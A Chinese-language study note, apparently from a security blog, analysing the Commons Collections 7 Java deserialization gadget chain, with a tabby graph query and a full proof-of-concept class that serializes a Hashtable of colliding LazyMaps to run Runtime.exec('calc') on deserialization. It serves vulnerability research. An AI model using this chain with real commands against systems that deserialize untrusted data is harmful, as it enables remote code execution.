Java Commons Collections 7 调用链
前言:这篇作为Commons Collections 7 调用链分析的笔记
依赖:commons-collections:commons-collections:3.1
这篇文章换个方向去理解,站在挖掘漏洞链的角度上进行分析学习
LazyMap对象的get方法如下:
public Object get(Object key) {
// create value for key if key is not currently in the map
if (map.containsKey(key) == false) {
Object value = factory.transform(key);
map.put(key, value);
return value;
}
return map.get(key);
}
可以看到这里调用了Object value = factory.transform(key)
那么factory是什么呢?来看下LazyMap类的属性
public class LazyMap
extends AbstractMapDecorator
implements Map, Serializable {
/** Serialization version */
private static final long serialVersionUID = 7990956402564206740L;
/** The factory to use to construct elements */
protected final Transformer factory;
这里的factory可控,可以利用经典的链式调用
接着继续看谁会在反序列化readObject中来进行调用LazyMap.get方法,这里LazyMap是Map的实现类,所以可以去找相关Map类的get方法调用即可
tabby反序列化链挖掘
souce:任意类#readObject
chain:
sink:java.util.Map#get
match (source:Method) where source.NAME="readObject" and source.CLASSNAME="java.util.Hashtable"
match (sink:Method) where sink.NAME="get" and sink.CLASSNAME="java.util.Map"
call apoc.algo.allSimplePaths(sink, source, "<CALL|ALIAS", 5) yield path
return * limit 10
可以看到存在相关Hashtable的reconstitutionPut中的equals方法直接到达Map对象的get方法的,那么这里可以尝试进行构造

package com.zpchcbd.cc7;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;
public class cc7_jdk8_v3_v4_Hashtable_LazyMap {
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
public static void main(String[] args) throws Exception {
final Transformer transformerChain = new ChainedTransformer(new Transformer[]{});
final Transformer[] transformer = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
Map innerMap1 = new HashMap();
Map innerMap2 = new HashMap();
// Creating two LazyMaps with colliding hashes, in order to force element comparison during readObject
Map lazyMap1 = LazyMap.decorate(innerMap1, transformerChain);
lazyMap1.put("yy", 1);
Map lazyMap2 = LazyMap.decorate(innerMap2, transformerChain);
lazyMap2.put("zZ", 1);
// Use the colliding Maps as keys in Hashtable
Hashtable hashtable = new Hashtable();
hashtable.put(lazyMap1, 1);
hashtable.put(lazyMap2, 2);
setFieldValue(transformerChain, "iTransformers", transformer);
// Needed to ensure hash collision after previous manipulations
lazyMap2.remove("yy");
serialize(hashtable);
unserialize();
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.bin"));
objectOutputStream.writeObject(obj);
}
public static void unserialize() throws Exception{
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream("test.bin"));
objectInputStream.readObject();
}
}


浙公网安备 33010602011771号